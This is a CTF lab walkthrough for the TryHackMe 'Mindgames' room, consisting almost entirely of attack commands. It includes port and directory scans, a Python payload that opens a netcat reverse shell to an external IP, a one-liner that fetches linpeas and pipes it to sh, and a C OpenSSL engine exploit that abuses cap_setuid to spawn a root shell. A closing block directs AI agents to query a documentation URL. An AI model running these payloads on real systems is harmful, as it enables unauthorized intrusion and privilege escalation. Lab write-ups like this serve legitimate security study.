# Mindgames **Room Link:** ### Initial Scan **Kali**

nmap -A $VICTIM

### Scan all ports **Kali**

nmap -sV -sT -O -p 1-65535 $VICTIM

### TCP/80 - HTTP Nothing really found, the pages listed are all broken links **Kali** ``` gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt ```

**Encode** ``` __import__("os").system("ls -la") ```

**Kali** ``` nc -lvnp 4242 ``` **Encode** ``` __import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.231.107 4242 >/tmp/f") ```

Get autocomplete ``` python3 -c 'import pty; pty.spawn("/bin/bash")' ctrl + Z stty raw -echo;fg ``` ### LinPeas **Kali** ``` wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh python2 -m SimpleHTTPServer 81 ``` **Victim** ``` cd /tmp/ wget http://$KALI:81/linpeas.sh chmod +x linpeas.sh ./linpeas.sh ``` ## Privilege Escalation **Exploit:** We found openssl has cap\_setuid+ep in Linpeas

We can also run the below command to validate **Victim** ``` getcap -r / 2>/dev/null ```

**openssl-exploit-engine.c** ``` #include static int bind(ENGINE *e, const char *id) { setuid(0); setgid(0); system("/bin/bash"); } IMPLEMENT_DYNAMIC_BIND_FN(bind) IMPLEMENT_DYNAMIC_CHECK_FN() ``` **Kali** ``` gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c gcc -shared -o openssl-exploit-engine.so -lcrypto openssl-exploit-engine.o python2 -m SimpleHTTPServer 81 ``` **Victim** ``` cd /tmp/ wget http://$KALI:81/openssl-exploit-engine.so openssl req -engine ./openssl-exploit-engine.so ```

--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/mindgames.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.